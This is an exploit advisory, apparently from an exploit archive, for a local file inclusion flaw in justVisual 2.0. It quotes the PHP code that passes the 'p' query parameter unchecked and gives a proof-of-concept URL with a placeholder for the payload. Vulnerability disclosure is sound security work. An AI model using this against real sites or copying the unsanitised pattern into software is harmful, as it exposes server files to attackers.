justVisual 2.0 – ‘index.php’ Local File Inclusion

#########################################################################

justVisual 2.0 (index.php) <= LFI Vulnerability

#########################################################################

[+]Title: justVisual 2.0 (index.php) Local File Vulnerability

[+]Version: 2.0

[+]License: http://www.gnu.org/copyleft/gpl.html

[+]Download: http://fh54.de/justVisual/packages/justVisual2.zip

[+]Risk: Medium

[+]Local: Yes

[-]Remote: No

###########################################################

[!]Author:eidelweiss

[!]Contact: eidelweiss[at]cyberservices[dot]com

[!]Thank`s: sp3x (securityreason) - JosS (hack0wn) - r0073r & 0x1D (inj3ct0r)

[!]Special: [D]eal [C]yber - syabilla_putri (miss u) & all my friends

###########################################################

-=[ VULN CODE ]=-

$selfname=basename($_SERVER['PHP_SELF'],'.php');

if(isset($_GET['p']) && !empty($_GET['p'])) {

//$selfname=basename($_GET['p'],'.php');

$selfname=str_replace('.php','',$_GET['p']);

-=[ P0C ]=-

Http://127.0.0.1/index.php?p=[LFI]

###############################=[E0F]=###################################